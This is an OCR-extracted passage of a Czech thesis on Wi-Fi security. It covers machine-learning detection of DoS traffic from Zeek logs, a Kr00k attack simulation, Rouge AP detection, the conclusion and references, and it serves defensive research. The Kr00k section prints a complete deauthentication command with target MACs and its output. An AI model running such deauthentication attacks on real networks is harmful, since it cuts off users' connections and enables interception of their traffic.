4.6 Detekce anomalii pomaoci strojového uceni

Detekce anomalii pomoci strojového uceni s ucitelem

Dalsi technikou, pomoci které lze detekovat anomalie (nestandartni chovéni, o kte-
rém bude v dalsich procesech rozhodnuto, zda se jedna o itok nebo legitimni provoz,
v tomto pripadé bude anomaélie vyvoldna itokem DoS), je pouziti prediktivniho mo-
delu strojového uceni [45]. Pomoci této techniky lze vytvorit model, pomoci kterého
lze rozhodnout zda se v provozu vyskytuji anomadlie (na zdkladé predikce). K vy-
tvoreni modelt bylo vyuzito modulu strojového uceni scikit-learn v programovacim
jazyce Python. Aby bylo mozné provadét detekci v realném case, byl vybran model
strojového uceni s ucitelem. Tato technika vyuziva k natrénovani modelu nejen sa-
motna data, ale také label. Pomoci labelu je nejprve ,,oznackovan“ provoz hodnotami
,0¢ a 1% které oznacuji utok (1) nebo normélni legitimni provoz (0).

Model K-nejblizsich sousedi (knn, K-nearest neighbor) je jeden z nejjednodus-
sich a nejpouzivanéjsich modeli, které se pouzivaji ke klasifikaci dat. K zatrazeni do
tridy vyuziva nékolik okolnich prvki, vysledné zarazeni zavisi na prislusnosti pre-
vazujictho poc¢tu prvki (pocet je lichy) [46]. Linearni regrese prokladéa vstupni data
primkou metodou nejmensich c¢tverct. Linearni regrese s vyuzitim metody Lasso
zalozené na vyuziti na vybéru proménnych i regularizaci [47]. Logisticka regrese je
metoda zaloZzena na predpovédi pravdépodobnosti vysledku [46]. Model Naive bayes
je metoda také zalozena na predpoveédi pravdépodobnosti vyuzivajici Bayesiv teo-
rém s predpokladem podminéné nezavislosti [46]. Model svm (metoda podpirnych
vektori) slouzi pro klasifikaci vstupnich dat a také pro regresni analyzu. Tento model

proklada jednotlivé body s cilem nalézt nadrovinu, ktera prostor rozdéluje na tiidy
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reprezentujici jednotlivé labely. Tento model umoziiuje nastaveni jadra (kernelu),
pomoci kterého je definovana primka (linedrni, polynomialni, rbf) [46].

Na zékladé téchto hodnot vznika model, ktery 1ze nasledné vyuzit k rozhodovani,
zda momentalni provoz spada do kategorie titok nebo legitimni provoz. K vytvoteni
modelu bylo vyuzito 1870 zaznamu provozu, které z poloviny tvori hodnoty reprezen-
tujici utok a z druhé poloviny legitimni provoz. K vytvoreni modelu byly vybrany
parametry jako primeérnd doba spojent, odstup a duration. K vygenerovani téchto
zaznamu bylo vyuzito vytvorenych pravidel k detekci DoS utoku vyuzivajici IDS
systém Zeek.

Aby bylo mozné pracovat s modelem jsou vstupni data rozdélena na trénovaci
a testovaci mnozinu. Tyto data jsou rozdélena, aby bylo mozné provést validaci
vytvoreného modelu. K rozdéleni dat bylo vyuzito cross validace. Obr 4.7 zobrazuje
porovnani vyuzitych modeli z pohledu dosazené tspésnosti. Modely knn, logistic

regression, Naive bayes a svm-linear kernel dosahuji tispésnosti 100 %.
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Obr. 4.7: Porovnani vybranych modelti strojového uceni.

Na obr. 4.8 jsou zobrazeny uspésnosti jednotlivych predikénich modela, které
byly vytvoreny nad vétsim mnozstvi dat. K vytvoreni modeli bylo vyuzito ptiblizné
10 000 zaznam slozenych z legitimniho provozu a provozu obsahujici zdznamy o DoS
utoku. Vstupni data obsahuji stejné parametry jako v pfredchozim pripadé. Nad
vstupnimi daty byla provedena analyza, zaznamy oznacené labelem ,,0¢ jsou slozeny
z prumeérné doby spojeni o priumérné hodnoté 0,409 s, odstupu o prumérné hodnoté
6460,017 a duration o primérné hodnoté 0,723 s. Zaznamy oznacené labelem 1%,
oznacujici provoz obsahujici DoS utok, jsou slozeny z primerné doby spojeni o pru-
mérné hodnoté 185 us, odstupu o prumérné hodnoté 156,746 a duration o prumérné
hodnoté 2,987 us.
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Obr. 4.8: Porovnani vybranych modelti strojového uceni nad vice daty.

Aby bylo mozné vytvoreny model nasadit do experimentalniho prostiedi ve formeé
python skriptu, je nutné provést export tohoto modelu, viz vypis 4.22. Na zakladé
ziskanych vysledku pti trénovani algoritmu strojového uceni s ucitelem, byl k exportu
vybran model knn.

Vypis 4.22: Export vytvoreného modelu strojového uceni.

1 |pickle.dump(model, open(’model.sav’, ’wb’))

K nasazeni natrénovaného modelu je tfeba nejprve ziskat data, nad kterymi
bude provedena predikce. Tyto data jsou ziskavany z logu IDS Zeek conn.log. Aby
algoritmus vytvarel predikce v redlném case je ve skriptu, kde je model nasazen,

vyuzito obsluzného programu prikazového tadku tail v cyklu, viz vypis 4.23.

Vypis 4.23: Vyuziti obsluzného programu piikazového radku tail.

1 [tail("-f", "/usr/local/zeek/logs/current/conn.log", _iter=True)

Pri testovani natrénovaného modelu byl na strané klienta spustén generator si-
tového provozu [48]. Generator navstévuje HTTP a HTTPS webové stranky z de-
finovaného listu webovych stranek. Zaroven bylo vyuzito IDS Zeek k logovani ge-
nerovaného provozu (véetné oznaceni provozu na zakladé vytvofenych rovnic, viz
kapitola 4.5). Tento log (conn.log) byl vyuzivan skriptem pro predikci s natréno-
vanym modelem. V realném case tak dochazi ke zpracovani dat ziskanych z logu,
tyto data jsou vlozena do predikéniho modelu, kde je vytvorena predikce, ktera je
vypsana do terminalového okna, ukazka predikce viz vypis 4.24. Predikovany ttok
DoS reprezentuje label ,1¢ a bézny provoz label ,,0¢ (fadek 8 a 17). Na zakladé

zachyceného provozu byla vytvorena statistika.
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Celkem bylo zachyceno 2 426 paketii, z toho DoS tvorilo 477 paketi, ale zachy-
ceno bylo pouze 456 pakettu. Skuteénd uspésnost natrénovaného je priblizné 95,6 %.
V pripadeé legitimniho provozu byl priumérny duration jednotlivych spojeni ptiblizné
3,42 s, v pripadé DoS 27,2 us. Jelikoz jsou v systému Zeek na provoz aplikovany rov-
nice z kapitoly 4.5, vyplyva z rovnice 4.3 proménlivost jednotlivych spojeni v case.
V pripadé DoS vychazi procentudlni hodnota zmény délky spojeni na 41,5345 za-
timco legitimni provoz ma primérnou procentualni hodnotu zmény délky spojeni
28539,48. Na obr. 4.9 je graficky zndzornén princip aplikace strojového uceni s uci-

telem na data ziskana z logu.

Natrénovani
modelu

Conn.log

Predikce
1/0

Obr. 4.9: Diagram aplikace strojového uceni s ucitelem.

Vypis 4.24: Vyuziti modelu strojového uceni.

1 |ts: 1589650796.929815

2 | prumerna doba spojeni: 28.958090
3 |odstup: 32984.264399

4 |duration: 0.000005

5 | popisek: ---------

6 | IP zdrojova: 192.168.1.11

7 | IP cilova: 192.168.1.237

8 | [0]

9

10 |[ts: 1589650796.929803

11 | prumerna doba spojeni: 0.000011
12 | odstup: 146.353098

13 |duration: 0.000006

14 | popisek: **xDoSkx**

15 | IP zdrojova: 192.168.1.11

16 | IP cilova: 192.168.1.237

17 | [1]

Detekce anomalii pomaoci strojového uceni bez uditele

Jednou z dalsich technik detekce bezpecnostniho incidentu je vyuziti strojového
uceni bez ucitele. Tato technika pracuje nad samotnymi daty bez jejich znacko-
vani. K realizaci bylo vyuzito modulu scikit-learn, ktery podporuje i tento pristup.
Vybrany model OneClassSVM vyuziva ke svému nastaveni mj. definovani jadra
a koeficientu jadra. V experimentalnim testovani se za nejlepsi nastaveni parametri
povazuje nastaveni, viz vypis 4.25. V nastaveni je vyuzito polynomidlniho jadra (rbf)

s koeficientem gamma 0,01, které slouzi k prolozeni jednotlivych bodi polynomem.
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Déle byla nastavena tolerance, pii které dojde k zastaveni pozménovani koeficient
polynomu. Dale byl nastaven koeficient nu, ktery znac¢i horni hranici frakce trénin-
kovych chyb a dolni hranici frakce podpirnych vektori, na hodnotu 0,5.

Vypis 4.25: Vytvoreni modelu strojového uceni bez ucitele.

1 |clf = svm.0OneClassSVM(nu=0.5, kermel="poly", gamma=0.01,
t01=0.0000000000001)

Po nasazeni modelu na vstupni data dochazi k detekovani titoku za pomoci na-
stavenych parametri, viz obr. 4.10. Oblast vyznacend cervené oznacuje zpravy, které
byly rozpoznany jako anomaélie v sifovém provozu. Tato oblast se , vymyka“ béz-
nému provozu z duvodu velmi kratkého trvani spojeni duration a kratkého odstupu
(viz rovnice 4.3) mezi jednotlivymi spojenimi. Tato technika vsak neni schopna pre-
dikce pouze aplikuje vybrany model na vybrana data.
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Obr. 4.10: Detekce anomélii v sitovém provozu pomoci strojového uceni.

4.7 Simulace atoku Kr00k a jeho detekce

Utok Kr00k souvisi s difve nalezenym titokem a zranitelnosti KRACK. Bezpeénostni
chyba jakou je Kr0Ok s oznacenim (CVE-2019-15126), vyuziva zranitelnosti kdy se
k sifrovani ¢asti komunikace pouziva Sifrovaci kli¢ s nulovou hodnotou. Tato chyba

se vyskytuje jak pri vyuziti WPA2-Personal, tak i WPA2-Enterprise. Pfevazné se
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tato chyba tyka Wi-Fi ¢ipt spole¢nosti Broadcom a Cypress, u dalSich spole¢nosti
jako Qualcomm, Realtek a dalsich zranitelnost nebyla objevena.

Zranitelnost se projevuje ve chvili, kdy dochézi k ukonceni spojeni, naptiklad
pri slabém signalu nebo pfi prechodu k jinému piistupovému bodu. Kdyz dojde
k ukonceni spojeni, podkli¢ TK (Temporary key) je smazan z paméti a misto néj
jsou nastaveny samé nuly. Toto neni chyba pokud se po ukonceni spojeni neprena-
seji zadna data. U Wi-Fi ¢ipt Broadcomm a Cypress se ale zpravy posilaji dale i po
ukonceni spojeni, protoze zustaly v bufferu. Jsou tak sifrovana nulovym klicem. Jeli-
koz je samotné ukonceni spojeni mozné vyvolat manualné, je mozné i odposlechnout

prenasenda data. Znazornéna zranitelnost viz obr. 4.11. Dokumentace k zranitelnosti

od spolecnosti ESET se nachazi zde [49].
()
Data

TK Data | Pfistupovy bod |

\ 4

A

Uzivatelska
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TK = 00 Data

A

\4

Man-in-the-middle

Obr. 4.11: Znazornéni zranitelnosti Kr00k.

Utok je simulovany pomoci nastroje rO0kie-kr00Okie, ktery je dostupny na [50]. Na
vypisu 4.26 je zobrazen prikaz k provedeni deautentizace zarizeni od pristupového
bodu. K provedeni ttoku je nutné definovat rozhrani (wlan0), MAC adresu klienta
(c0:d3:c0:dc:b8:53), BSSID (04:d9:f5:ed:7h:a8) a kandl (13). Nastroj nasledné opa-
kované posila 5 deautentizac¢nich paketi k deautentizaci klienta od sité dokud se za-
fizeni nedeautentizuje. V pripadé simulovaného testovani, zda je zarizeni zranitelné
na utok Kr00Ok, byl pouzit jako klientska stanice mobilni telefon Samsung Galazy
A5 (c0:d3:c0:dc:b8:53). I pres odeslani 250 deautentiza¢nich pakett se néstroji ne-
podarilo nalézt pakety, které jsou Sifrované nulovym klicem. Z toho lze usoudit, ze

zalizeni neni na tuto chybu zranitelné.
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Vypis 4.26: Pouziti nastroje rO0kie-krOOkie k deautentizaci zarizeni.

1 | python3 rOOkie-krOOkie.py -i wlanO -b 04:d9:f5:ed:7b:a8 -c c0:d3:c0:dc:b8:53
-1 13

[*] Send 5 deauth packets to: c0:d3:c0:dc:b8:53 from: 04:d9:f5:ed:7b:a8
[*] Send 5 deauth packets to: c0:d3:c0:dc:b8:53 from: 04:d9:f5:ed:7b:a8
[*] Send 5 deauth packets to: c0:d3:c0:dc:b8:53 from: 04:d9:f5:ed:7b:a8

Tt W N

Jelikoz nastroj vyuziva deautentizacni pakety k provedeni ttoku, 1ze tyto pakety
zachytit pomoci skriptu popsaném v podkapitole 4.4 a vyuzit ¢ast skriptu k detekci
deautentizacnich paketi. Vypis 4.27 zobrazuje pouziti skriptu na detekci deautenti-

zace a zachycené deautentizacni pakety poslané pomoci nastroje rOOkie-kr0OOkie.

Vypis 4.27: Zachyceni deautentizacnich ramcti pomoci skriptu, utok Kr00k.

1 |root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -b
2 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
3 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
4 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
5 [ 04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
6 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53

4.8 Rouge AP a jeho detekce

Mezi nejcastéjsi ttoky bezdratovych siti patii dtok RougeAP [28, 51], detekce to-
hoto utoku je problematicka. Existuje nékolik metod, pomoci kterych lze detekci
provadét [51, 52]. Klicové k rozpoznani RougeAP je sledovani parametri vyskytuji-
cich se v siti. K existenci je nutné, aby se v siti vyskytovaly minimalné dvé zatizeni
AP, z nichz jedno bude legitimni a druhé ne. K vytvoreni bezdratové sité vyuziji
totozny SSID parametr, popripadé i dalsi parametry bezdratového provozu (metoda
sifrovani, kanal, BSSID, apod.) [53].

Vsechny tyto parametry se posilaji v beacon ramci. Tento ramec je cyklicky
generovan pristupovym bodem a je pravidelné vysilan do bezdratové sité. K experi-
mentalnimu testovani bylo vyuzito nastroje Scapy, ktery umoznuje vytvaret beacon
ramce s definovanymi parametry, vychazeno z [54]. Pomoci pozménovani jednotli-
vych parametri, byly simulovany jednotlivé situace, které mohly nastat. Jednotlivé
situace reprezentuji zmenu prenosového kandlu, zménu BSSID, zménu intervalu, de-
finovaného v beacon ramci, zména skutecného intervalu, ve kterém jsou jednotlivé
beacon ramce skutecné odesilany a zména zabezpeceni.

K detekei RougeA P byl vytvoren skript ra.py, ktery pracuje v rezimu sitové sondy
a provadi detekci jednotlivych beacon ramct, které se na siti vyskytuji, vyvojovy
diagram viz obr. 4.12.

Pti prvnim spusténi dojde k vytvoreni zdznamu validnich parametri, které budou
dale porovnavany se sifovym provozem. Mezi nejvice klicovy parametr patii detekce

intervalu, po kterém dochazi ke generovani dalsitho beacon ramce. Vychozi hodnota je
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Obr. 4.12: Vyvojovy digram skriptu k detekci Rouge AP.

nastavena 102,4 ms. I kdyz tto¢nik provede synchronizaci s legitimnim AP a nastavi
totozné parametry, jako SSID a BSSID a bude ramce generovat v totozném intervalu
je stale mozné tento ttok zachytit. K detekci je vyuzito odchylek od tohoto intervalu,
Rouge AP vsak neni schopen tuto odchylku predikovat (je vytvorena v zavislosti na

zatizeni legitimniho AP a dalsich parametri) [52]. V siti se tak objevi dva totozné
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ramce, ale skutec¢ny odstup téchto beacon ramect bude vyrazné mensi, nez definovany
v beacon ramci.

Vypis 4.28 zobrazuje vystup skriptu, kde po spusténi bylo detekovano AP. U to-
hoto AP byly v ndvaznosti na SSID (z duvodu neménnosti) ulozeny parametry, jako
MAC, SSID, interval, kandl a zabezpeceni. Jednotlivé parametry jsou pii kazdém
zachyceni beacon ramce analyzovany a porovnany s prvotnim zaznamem k prislus-
nému SSID. Pri experimentalnim testovani byly tyto parametry ménény a zména
byla pomoci skriptu zachycena. NejvyznamnéjsSim parametrem je interval mezi jed-
notlivymi beacon ramci. V pripadé, Ze je zachycen beacon ramec drive, nez uvadi
definice intervalu prenaseného v beacon ramci, je provedeno upozornéni Zmena sku-
tecneho intervalu. Tato udélost je zaznamendna od fadku 12, kde je definovan in-
terval 100 ms mezi jednotlivymi beacon ramci, ale raAmec byl zachycen jiz po 7 ms.

Stejné tak je provedeno upozornéni na zménu zabezpeceni, popripadé MAC adresy.

Vypis 4.28: Vystup vytvoreného skriptu pro detekci RougeAP.

1 |root@kali:/home/student/Plocha# python3 ra.py
2 Detekovano AP:

3 MAC: 22:22:22:22:22:22

4 SSID: b’testSSID’

5 interval 100 ms

6 kanal: 9

7 zabezpeceni: {’WPA2/802.1X’}

8 Zmena zabezpeceni!

9 predchozi zabezpeceni: {’WPA2/802.1X’}
10 nove zabezpeceni: {’WEP’}

11 u SSID: b’testSSID’

12 Zmena skutecneho intervalu!

13 definovany interval: 100

14 skutecny interval: 7

15 u SSID b’testSSID’

16 Zmena MAC!

17 predchozi MAC: 22:22:22:22:22:22

18 nova MAC: 22:22:22:22:22:33

19 u SSID: b’testSSID’

Zvoleny pristup se jevi jako efektivni, je schopen detekovat vybrané situace. K de-
tekovani zmén je vSak nutné provadét neustalou kontrolu beacon rameti a v pripadé
provedeni zmény v konfiguraci AP je nutné provést opétovné ,nauceni“ parametri
sité. P1i prvnim spusténi je nutné zajistit, aby probéhlo ,nauceni“ parametru legi-
timniho AP. Mezi dalsi metody detekce Rouge AP patii napriklad vyuziti strojového
uceni. Pti detekovani zmény je vzdy nutné provést vyhodnoceni zmény a na zménu
upozornit. Toto upozornéni je nutné dale predat klientskym stanicim, které mohou

byt v ohrozeni.
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Zaveér

Cilem této diplomové prace bylo provézt analyzu a popis bezdratovych komuni-
kacnich protokolt a jejich bezpecnost. Prvni kapitola byla zamérena na technicky
popis nejpouzivanéjsich standardu IEEE 802.11, z pohledu fyzické, linkové a MAC
vrstvy. Druha kapitola se zamérovala na poskytovanou bezpecnost u standardi IEEE
802.11a/b/g/n/ac a ax. Popsany byly protokoly jako WEP, WPA, WPA2, WPA3,
WPS a IEEE 802.1x a jejich slabiny. Tato kapitola také obsahuje srovnani jed-
notlivych protokoli z pohledu Sifrovani, autentizace, na jakych standardech jsou
dostupné a kdy byla objevena prvni zranitelnost.

Kapitola tTi se zabyva analyzou zranitelnosti a hrozeb. V této kapitole jsou po-
psany vektory utokt na jednotlivé ¢asti bezdratové sité a na sluzby bezpecnosti.
Jsou popsany nejznaméjsi itoky a zranitelnosti a pouzivané nastroje k testovani
bezpecnosti bezdratovych siti a penetracnimu testovani. Soucasti této kapitoly jsou
také nevrzené scénare pro experimentalni testovani.

V posledni kapitole probéhl vybér zarizeni pro sestaveni experimentalniho sito-
vého zapojeni v ramci kterého jsou provedeny definované scénare. Nejprve je pro-
vedeno lamani hesel na protokol WEP a slovnikovy ttok na protokol WPA. Déle
je provedena simulace itoku KRACK. Na zakladé simulace byla vytvorena metoda,
pomoci které lze ttok zachytit. Tato metoda je zalozena na detekci opakujici se
treti zpravy ve 4-way Handshaku. Metoda byla implementovana ve formé skriptu
v rezimu sitové sondy s néaslednou deautentizaci.

V dalsi ¢asti byla provedena simulace ttoku DoS. Na zdkladé simulace tohoto
utoku byly vytvoreny rovnice, pomoci kterych lze tento utok zachytit. Vytvorené
rovnice byly déale implementovany v IDS systému Zeek, kde byla nasledné ovérena
jejich prakticka funkcénost. Vyhoda vytvorenych rovnic je v tom, Ze neni nutné pro-
vadeét fazi uceni, ale je mozné je ihned nasadit, popripadé pomoci parametrii upravit
jejich citlivost. K detekci DoS titoku bylo také vyuzito specifického charakteru utoku.
Tento zptisob se v rdmci experimentalniho testovani prokazal jako tc¢inny.

Jako dalsi zptsob detekce anomadlii bylo vyuzito strojového uceni s ucitelem
i strojového uceni bez ucitele. V této praci byla anomalie vyvolana tutokem DoS.
V prvnim testovani bylo vyuzito strojové uceni s ucitelem, kde bylo porovnano vice
modeld strojového uceni z pohledu tspésnosti naucenych model. Nejvice tspésny
model (knn) byl nésledné exportovan a poté vyuzit ve vytvoreném skriptu. Tento
model poté v redlném case prebird informace z logu vygenerovaného z IDS systému
Zeek. Potiebna data jsou nasledné vlozena do nauceného predikéniho modelu a vy-
hodnocena. Uspésnost tohoto modelu poté v praxi dosahovala 95,6 %. V druhém
testovani bylo vyuzito strojového uceni bez ucitele, kde bylo provedeno vyhodnoceni

anomalii nad vstupnimi daty.
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Déle byla provedena simulace ttoku Kr00k. K detekei tohoto utoku bylo vyu-
zito jiz vytvorené sondy, v ramci které byl implementovan skript slouzici k detekci
deautentizacnich paketti, na kterych je tento utok zalozen.

V posledni fazi experimentalniho testovani byla navrzena a implementovana de-
tekce Rouge AP. Detekce tohoto utoku byla zalozena na aktivnim odposlechu sito-
vého provozu (umisténo v rdmeci skriptu na sitové sondé). K detekci byly vyuzivany
relevantni parametry prenasené pomoci beacon ramce. Metoda je prevazné posta-
vena na periodicité vysilani beacon ramcu jednotlivych pristupovych bodi, kterou
narusi beacon ramec falesného AP.

Velkou vyhodou a zaroven nevyhodou bezdratovych siti je jejich volné siteni pro-
storem. Nedilnou soucasti zabezpeceni je zodpovédnost na strané uzivatele ve formé
adekvatné nastavenych a vyuzivanych bezpecnostnich pozadavki. Pro celkové za-
bezpeceni je vhodné nastaveni a podporovani nejsilnéjsi irovné zabezpeceni spojené
s vyuzivanim detekénich systému IDS/IPS. Mimo IDS/IPS systému je také vhodné
implementovat mechanismy vyuzivajici strojového uceni provadéjici detekei anomalii

vyskytujicich se v sitovém provozu.

62



Literatura

1]

KHAN, Abbas Ali, Mohammad HANIF ALI, Chandan DEBNATH, A K M
Fazlul HAQUE a JABIULLAH. A Detailed Exploration of Usability Statistics
and Application Rating Based on Wireless Protocols [online]. 2020 [cit. 2020-
05-27).

DURAIRAJ, M. a J. HIRUDHAYA MARY ASHA. Interoperability in Smart
Living Network-A Survey. International Conference on Communication, Com-
puting and FElectronics Systems [online|. Singapore: Springer Singapore, 2020,
2020-03-05, , 69-79 [cit. 2020-05-27]. Lecture Notes in Electrical Engineering.
DOI: 10.1007/978-981-15-2612-1_ 7. ISBN 978-981-15-2611-4.

AUSAF, Asfund, Mohammad Zubair KHAN, Muhammad Awais JAVED a Ali
Kashif BASHIR. WLAN Aware Cognitive Medium Access Control Protocol for
IoT Applications. Future Internet [online|. 2020, 12(1) [cit. 2020-05-27]. DOI:
10.3390/£i112010011. ISSN 1999-5903.

KIRAN, M. P. R. S. a P. RAJALAKSHMI. Saturated Throughput Analysis
of IEEE 802.11ad EDCA For High Data Rate 5G-IoT Applications. IEEE
Transactions on Vehicular Technology [online]. 2019, 68(5), 4774-4785 [cit.
2020-05-27]. DOI: 10.1109/TVT.2019.2903890. ISSN 0018-9545.

RAMOTSOELA, Daniel, Adnan ABU-MAHFOUZ a Gerhard HANCKE.
A Survey of Anomaly Detection in Industrial Wireless Sensor Networks with

Critical Water System Infrastructure as a Case Study. Sensors [online]. 2018,
18(8) [cit. 2020-05-27]. DOL: 10.3390/s18082491. ISSN 1424-8220.

KELARESTAGHI, Kaveh B., Mahsa FORUHANDEH, Kevin HEASLIP
a Ryan GERDES. Survey on Vehicular Ad Hoc Networks and Its Access Tech-
nologies Security Vulnerabilities and Countermeasures [online|. 2019 [cit. 2020-
05-27].

KALNINS, Riidolfs, Janis PURINS a Gundars ALKSNIS. Security Evaluation
of Wireless Network Access Points. Applied Computer Systems [online]. 2017,
21(1), 38-45 [cit. 2020-05-27]. DOIL: 10.1515/acss-2017-0005. ISSN 2255-8691.

VANHOEF, Mathy a Frank PIESSENS. Key Reinstallation Attacks. Procee-
dings of the 2017 ACM SIGSAC Conference on Computer and Communicati-
ons Security [online]. New York, NY, USA: ACM, 2017, 2017-10-30, , 1313-1328
[cit. 2020-05-27]. DOIL: 10.1145/3133956.3134027. ISBN 9781450349468.

63



[9]

[10]

[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

VANHOEF, Mathy a Eyal RONEN. Dragonblood: Analyzing the Dragonfly
Handshake of WPA3 and EAP-pwd [online]. [cit. 2020-05-27]. Dostupné z:
https://papers.mathyvanhoef.com/dragonblood.pdf

IEEE Standard for Information technology-Telecommunications and infor-
mation exchange between systems Local and metropolitan area networks-
Specific requirements - Part 11: Wireless LAN Medium Access Control (MAC)
and Physical Layer (PHY) Specifications. IEEE Std 802.11-2016 (Revision
of IEEE Std 802.11-2012) [online]. 2016, , 1-3534 [cit. 2020-05-28]. DOI:
10.1109/IEEESTD.2016.7786995.

GAST, Matthew. 802.11 Wireless Networks the Definitive Guide [online]. 2.
O REILLY, 2005 [cit. 2020-05-27]. ISBN 0596100523.

802.11ac: The Fifth Generation of Wi-Fi. CISCO [online]. 2018 [cit. 2019-11-19].
Dostupné z: https://www.cisco.com/c/dam/en/us/products/collateral /wireless
/aironet-3600-series/white-paper-c11-713103.pdf

802.11ax: Co je to Wi-Fi 67 TP-Link [online|. [cit. 2019-11-19]. Dostupné z:
https://www.tp-link.com/cz/wifi6 /

WiFi IEEE 802.11ax podrobnéji. Kvalitni internet [online]. 2018 [cit. 2019-11-
19]. Dostupné z: https://kvalitni-internet.cz/zavratna-rychlost-vysoky-vykon-

velka-odolnost-proti-ruseni-novy-wifi-standard-ieee-80211ax-je-tady

AFAQUI, M. Shahwaiz, Eduard GARCIA-VILLEGAS a Elena LOPEZ-
AGUILERA. IEEE 802.11ax: Challenges and Requirements for Future High
Efficiency WiFi. IEEE Wireless Communications [online|. 2017, 24(3), 130-137
[cit. 2020-05-28]. DOI: 10.1109/MWC.2016.1600089WC. ISSN 1536-1284.

JAISINGHANI, Dheryta. Tutorial on IEEE 802.11 - MAC Proto-
cols and Frames. SlideShare [online|. [cit. 2019-12-17]. Dostupné z:
https://www.slideshare.net /DherytaJaisinghani/tutorial-on-ieee-80211-mac-

protocols-and-frames

802.11 MAC Series: Basics of MAC Architecture — Part 1 of 3. CWNP [online|.
01/08/2016 [cit. 2019-11-19]. Dostupné z: https://www.cwnp.com/802.11-mac-

series-ndash-basics-mac-architecture-ndash-part-1-3/#1d2

802.11 MAC Series: Basics of MAC Architecture — Part 2 of 3. CWNP [online|.
02/03/2016 [cit. 2019-11-26]. Dostupné z: https://www.cwnp.com/802.11-mac-

series-ndash-basics-mac-architecture-ndash-part-2-3/

64


http://papers.mathyvanhoef.com/
https://www.cisco.com/c/dam/en/us/products/collateral/wireless
https://kvalitni-internet.cz/zavratna-rychlost-vysoky-vykon-
http://www.slideshare.net/DherytaJaisinghani
https://www.cwnp.com/802.ll-mac-
https://www.cwnp.com/802.ll-mac-

[19]

[20]

[21]

[22]

23]

[24]

[25]

2]

[27]

28]

Reprise of IEEE 802.11 s MMPDU Structure. Flylib.com [online]. [cit. 2019-12-
17]. Dostupné z: https://flylib.com/books/en/2.799.1.35/1/

WLAN - Frame Structure. ShareTechnote [online]. [cit. 2019-12-17]. Dostupné
z: http://www.sharetechnote.com/html/WLAN FrameStructure.html

802.11 MAC Frame Decoding. The MathWorks, Inc. [online]. [cit. 2019-
11-26]. Dostupné z: https://www.mathworks.com/help/wlan/examples/802-11-

mac-frame-decoding.html

Wireless Security Protocols: WEP, WPA, WPA2, and WPA3. NetSpot [online].
[cit. 2019-11-19]. Dostupné z: https://www.netspotapp.com/wifi-encryption-

and-security.html

KUMKAR, Vishal, et al. Vulnerabilities of Wireless Security protocols (WEP
and WPA2). International Journal of Advanced Research in Computer Engi-
neering & Technology (IJARCET), 2012, 1.2: 34-38.

Wireless Security Protocols: WEP, WPA, WPA2 and WPA3. CyberPunk
lonline]. [cit. 2019-12-17]. Dostupné z: https://www.cyberpunk.rs/wireless-

security-protocols-wep-wpa-wpa2-and-wpa3

ARASH HABIBI LASHKARI, MIR MOHAMMAD SEYED DANESH a Be-
hrang SAMADI. A survey on wireless security protocols (WEP, WPA and
WPA2/802.111). 2009 2nd IEEE International Conference on Computer Science
and Information Technology [online]. IEEE, 2009, 2009, , 48-52 [cit. 2019-12-17].
DOI: 10.1109/ICCSIT.2009.5234856. ISBN 978-1-4244-4519-6.

JYH-CHENG CHEN a YU-PING WANG. Extensible authentication protocol
(EAP) and IEEE 802.1x: tutorial and empirical experience. IEEE Communi-
cations Magazine [online]. 2005, 43(12), supl.26-supl.32 [cit. 2020-05-28]. DOI:
10.1109/MCOM.2005.1561920. ISSN 0163-6804.

ADNAN, Abdillahi Hassan, Mohamed ABDIRAZAK, A.B.M Shamsuzza-
man SADI, Towfique ANAM, Sazid Zaman KHAN, Mohammed Mahmudur
RAHMAN a Mohamed Musse OMAR. A comparative study of WLAN security
protocols: WPA, WPA2. 2015 International Conference on Advances in Electri-
cal Engineering (ICAEE) [online]. IEEE, 2015, 2015, , 165-169 [cit. 2019-12-18|.
DOI: 10.1109/ICAEE.2015.7506822. ISBN 978-1-4673-9695-0.

Guo, Rui. (2019). Survey on WiFi infrastructure attacks. International Journal
of Wireless and Mobile Computing. 16. 97. 10.1504/IJWMC.2019.099026.

65


http://Flylib.com
https://fiylib.eom/books/en/2.799.l.35/l/
http://www.sharetechnote.com/html/WLAN_FrameStructure.html
https://www.mathworks.com/help/wlan/examples/802-ll-
https://www.netspotapp.com/wifi-encryption-
https://www.cyberpunk.rs/wireless-
http://supl.26-supl.32

[29] VANHOEF, Mathy. Key Reinstallation Attacks: Breaking WPA2 by forcing
nonce reuse. Key Reinstallation Attacks [online]. KU Leuven, 2017 [cit. 2019-
11-26]. Dostupné z: https://www krackattacks.com/

[30] Aircrack-ng [online]. [cit. 2019-12-08]. Dostupné z: https://www.aircrack-
ng.org/

[31] Source  forge:  AirSnort [online]. [cit.  2019-12-08]. Dostupné z:
https://sourceforge.net/projects/airsnort/

[32] Wireshark [online]. [cit. 2019-12-08]. Dostupné z: https://www.wireshark.org/
[33] Hashcat [online]. [cit. 2019-12-08]. Dostupné z: https://hashcat.net /hashcat/

[34] Github:  Hashcat [online]. [cit. 2019-12-08]. Dostupné z:
https://github.com /hashcat/hashcat

[35] Penetration Testing Tools: mdk3 [online]. 2016 [cit. 2019-12-08]. Dostupné z:
https://en.kali.tools/7p=34

[36] Github:  Mdk3-master  [online].  [cit.  2019-12-08].  Dostupné  z:
https://github.com/charlesxsh/mdk3-master

[37] Kismet Wireless [online]. [cit. 2019-12-08]. Dostupné z:

https://www.kismetwireless.net/

[38] Github: FluzionNetwork/fluzion [online]. [cit. 2019-12-08]. Dostupné z:
https://github.com/FluxionNetwork /fluxion
[39] Zeek Manual. Zeek.org [online]. 2019 [cit. 2020-05-28]. Dostupné z:

https://docs.zeek.org/en/master/

[40] Zeek Docs: conn log Zeek.org [online]. 2019 [cit. 2020-05-28]. Dostupné z:
https://docs.zeek.org/en/current/scripts/base/protocols/conn/main.zeek.html

[41] Wireshark  Display  Filters. ~ WiFi  Professionals  [online].  26th
March 2019  [cit.  2019-12-08].  Dostupné  z:  https://www.wifi-
professionals.com/2019/03/wireshark-display-filters

[42] Common Password List (rockyou.txt): Built-in Kali wordlist rockyou.tzt [on-
line]. [cit. 2019-12-08]. Dostupné z: https://www.kaggle.com /wjburns/common-

password-list-rockyoutxt

[43] Krackattacks-scripts. GitHub [online|. [cit. 2019-12-17]. Dostupné z:
